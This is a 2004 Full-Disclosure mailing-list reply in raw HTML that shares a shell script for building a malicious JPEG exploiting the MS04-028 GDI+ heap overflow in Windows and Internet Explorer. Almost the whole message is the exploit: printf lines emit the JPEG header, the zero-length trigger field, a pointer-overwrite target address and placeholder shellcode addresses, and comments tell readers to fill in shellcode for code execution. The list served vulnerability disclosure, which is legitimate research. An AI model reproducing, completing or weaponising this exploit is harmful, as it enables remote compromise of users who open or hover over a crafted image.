[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-Disclosure] Control EDX/EAX in JPG Heap Overflow (MS04-028)
- To: <eflorio@xxxxxxxxxxx>
- Subject: Re: [Full-Disclosure] Control EDX/EAX in JPG Heap Overflow (MS04-028)
- From: jerome.athias@xxxxxxxxxxxx
- Date: Wed, 22 Sep 2004 04:39:11 GMT
<html><head><style type="text/css">body{font:12px
Arial;margin:3px;overflow-y:auto;overflow-x:auto}p{margin:0px;}blockquote, ol,
ul{margin-top:0px;margin-bottom:0px;}</style></head>
<body><div style="display: block; font-family: Arial; font-size: 12px;">Hi,<br>
<br>
you could work with this:<br>
<br>
--START--<br>
#!/bin/sh<br>
#<br>
# The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw<br>
# The crafted JPEG header makes Windows crash a couple of different ways<br>
# 1) First, it crashes when the image is opened.<br>
# 2) Second, it crashes when hovering the mouse over the
image.<br>
#<br>
# The pointer overwrite is pretty straight forward in a debugger<br>
#<br>
# Usage: <br>
# sh ms04-028.sh > clickme.jpg<br>
#<br>
# Note: This isn't a ./hack<br>
# - Plug in shellcode and get the address<br>
# - You non-kiddies out there are smart enough to fill in the
blanks<br>
# - Until you do the above, it's just a stupid PoC crash<br>
#<br>
# It's ugly, but it works :)<br>
#<br>
# -perplexy-<br>
<br>
#JPEG header 'n stuff<br>
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46"<br>
printf "\x00\x01\x01\x01\x00\x60\x00\x60\x00\x00"<br>
<br>
#Trigger string - 00 length field (01 works too)<br>
printf "\xFF\xFE\x00\x00"<br>
<br>
printf "\x45\x78\x69\x66\x00\x00\x49\x49\x2A\x00\x08\x00"<br>
<br>
# 1) Opening directly in IE<br>
#Address to overwrite = RtlEnterCriticalSelection() - 4<br>
#Check page 172 of SC Handbook for those of you playing along at home<br>
printf "\x1C\xF0\xFD\x7F"<br>
<br>
# 1) Opening directly in IE<br>
#Address of shellcode<br>
printf "\x41\x41\x41\x41"<br>
<br>
#Other stuff<br>
printf "\x96\x02\x00\x00\x1A\x00\x00\x00"<br>
<br>
# 2) MouseOver in IE<br>
#Address to overwrite = RtlEnterCriticalSelection() - 4<br>
#Check page 172 of SC Handbook for those of you playing along at home<br>
printf "\x1C\xF0\xFD\x7F";<br>
<br>
# 2) MouseOver in IE<br>
#Address of shellcode<br>
printf "\x41\x41\x41\x41"<br>
<br>
#Comments here<br>
perl -e 'print "A"x1000';<br>
<br>
#Image junk here<br>
printf
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";<br>
printf
"\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";<br>
printf
"\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";<br>
printf
"\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";<br>
printf
"\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";<br>
printf
"\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";<br>
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";<br>
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";<br>
printf
"\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";<br>
printf
"\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";<br>
printf
"\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";<br>
printf
"\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";<br>
printf
"\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";<br>
printf
"\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";<br>
printf
"\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";<br>
printf
"\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";<br>
printf
"\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";<br>
printf
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";<br>
printf
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";<br>
printf
"\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";<br>
printf
"\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";<br>
printf
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";<br>
printf
"\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";<br>
printf
"\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";<br>
printf
"\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";<br>
printf
"\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";<br>
printf
"\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";<br>
printf
"\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";<br>
printf
"\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";<br>
printf
"\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";<br>
printf
"\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";<br>
printf
"\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";<br>
printf
"\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";<br>
printf
"\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";<br>
printf
"\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";<br>
printf
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";<br>
printf "\xFF\xD9";<br>
--END--<br>
<br>
Regards.</br><p style="margin-top:11px;padding-top:3px;background-image:
url(http://mail.lycos.co.uk/Images/Mail/_content/dot.gif);background-repeat:
repeat-x;background-position: 0px 0px;"><img
src="http://premiummail.caramail.lycos.fr/Images/Mail/_icons/premium.gif";> Marre
des Spams ?<a href="https://premiummail.caramail.lycos.fr/?TARGETCODE=20";
target="_blank"><font color="#CC0000"><b>cliquez- ici</b></font></a>
!</div></body></html>